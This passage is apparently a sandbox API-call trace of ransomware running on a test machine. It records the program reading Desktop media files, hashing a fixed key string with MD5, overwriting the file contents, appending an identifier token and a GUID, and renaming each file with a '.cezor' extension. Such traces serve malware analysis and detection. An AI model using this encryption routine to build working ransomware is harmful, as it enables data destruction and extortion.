phHash=0x9aafa9c) returned 1 [0059.922] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.922] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.922] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.922] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.922] GetLastError () returned 0x0 [0059.922] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.922] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.922] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x133e0) returned 0x3132418 [0059.922] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.922] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x133de, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x133de, lpOverlapped=0x0) returned 1 [0059.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.923] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x133e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0059.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.923] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.923] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.923] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.923] CloseHandle (hObject=0x5c4) returned 1 [0059.924] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.924] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.924] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PoDqxcM TSaz.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\podqxcm tsaz.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PoDqxcM TSaz.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\podqxcm tsaz.swf.cezor")) returned 1 [0059.925] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.925] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.926] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x20d7360, ftLastAccessTime.dwHighDateTime=0x1d4d03f, ftLastWriteTime.dwLowDateTime=0x20d7360, ftLastWriteTime.dwHighDateTime=0x1d4d03f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qz91k6FGRf5u2kNaQ", cAlternateFileName="QZ91K6~1")) returned 1 [0059.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fee668 [0059.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fee668 | out: hHeap=0x670000) returned 1 [0059.926] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375e1650, ftCreationTime.dwHighDateTime=0x1d4d049, ftLastAccessTime.dwLowDateTime=0xb7861d60, ftLastAccessTime.dwHighDateTime=0x1d4cd73, ftLastWriteTime.dwLowDateTime=0xb7861d60, ftLastWriteTime.dwHighDateTime=0x1d4cd73, nFileSizeHigh=0x0, nFileSizeLow=0x417d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TeVS.mp4", cAlternateFileName="")) returned 1 [0059.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.926] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TeVS.mp4") returned=".mp4" [0059.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TeVS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tevs.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.926] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=16765) returned 1 [0059.926] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.929] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4157, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.929] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.930] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.930] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.930] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.930] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x417d, lpOverlapped=0x0) returned 1 [0059.930] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.930] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.930] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.930] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.930] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.931] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.931] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.931] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.931] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.931] GetLastError () returned 0x0 [0059.931] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.931] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4180) returned 0x31218d0 [0059.931] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.931] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x4178, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x4178, lpOverlapped=0x0) returned 1 [0059.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0059.931] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x417d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0059.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.932] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0059.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.932] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.932] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.932] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.932] CloseHandle (hObject=0x5c4) returned 1 [0059.933] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.933] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0059.933] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.933] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TeVS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tevs.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TeVS.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tevs.mp4.cezor")) returned 1 [0059.933] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.933] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.934] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae857a60, ftCreationTime.dwHighDateTime=0x1d4d1c6, ftLastAccessTime.dwLowDateTime=0x4fec2c00, ftLastAccessTime.dwHighDateTime=0x1d4d51e, ftLastWriteTime.dwLowDateTime=0x4fec2c00, ftLastWriteTime.dwHighDateTime=0x1d4d51e, nFileSizeHigh=0x0, nFileSizeLow=0x147b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TyHbSH6VrF3xX.mp3", cAlternateFileName="TYHBSH~1.MP3")) returned 1 [0059.934] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.934] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.934] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TyHbSH6VrF3xX.mp3") returned=".mp3" [0059.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TyHbSH6VrF3xX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tyhbsh6vrf3xx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.934] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=83893) returned 1 [0059.935] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.937] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1478f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.937] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.938] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.938] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.938] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.938] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x147b5, lpOverlapped=0x0) returned 1 [0059.938] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.938] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.938] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.938] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.938] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.939] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.939] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.939] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.939] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.939] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.939] GetLastError () returned 0x0 [0059.939] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.939] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.939] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.939] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x147c0) returned 0x3132418 [0059.940] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.940] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.940] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x147b0, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x147b0, lpOverlapped=0x0) returned 1 [0059.941] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.941] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x147b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.941] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.941] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0059.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.941] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.941] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0059.941] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.941] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.941] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.941] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.941] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.941] CloseHandle (hObject=0x5c4) returned 1 [0059.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.942] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.942] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TyHbSH6VrF3xX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tyhbsh6vrf3xx.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TyHbSH6VrF3xX.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tyhbsh6vrf3xx.mp3.cezor")) returned 1 [0059.943] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.943] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.944] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.944] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bfeb70, ftCreationTime.dwHighDateTime=0x1d4d44e, ftLastAccessTime.dwLowDateTime=0x27145f90, ftLastAccessTime.dwHighDateTime=0x1d4c881, ftLastWriteTime.dwLowDateTime=0x27145f90, ftLastWriteTime.dwHighDateTime=0x1d4c881, nFileSizeHigh=0x0, nFileSizeLow=0x16ce5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uVeSXOWXfi_KaHM6.swf", cAlternateFileName="UVESXO~1.SWF")) returned 1 [0059.944] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.944] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.944] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.944] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVeSXOWXfi_KaHM6.swf") returned=".swf" [0059.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVeSXOWXfi_KaHM6.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uvesxowxfi_kahm6.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.944] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=93413) returned 1 [0059.944] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.947] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16cbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.947] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.948] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.948] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x16ce5, lpOverlapped=0x0) returned 1 [0059.948] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.948] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.948] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.948] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.948] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e898) returned 1 [0059.949] CryptCreateHash (in: hProv=0x74e898, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.949] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.949] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.949] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.949] GetLastError () returned 0x0 [0059.949] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.949] CryptReleaseContext (hProv=0x74e898, dwFlags=0x0) returned 1 [0059.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.949] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16cf0) returned 0x3132418 [0059.950] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.950] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x16ce0, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | 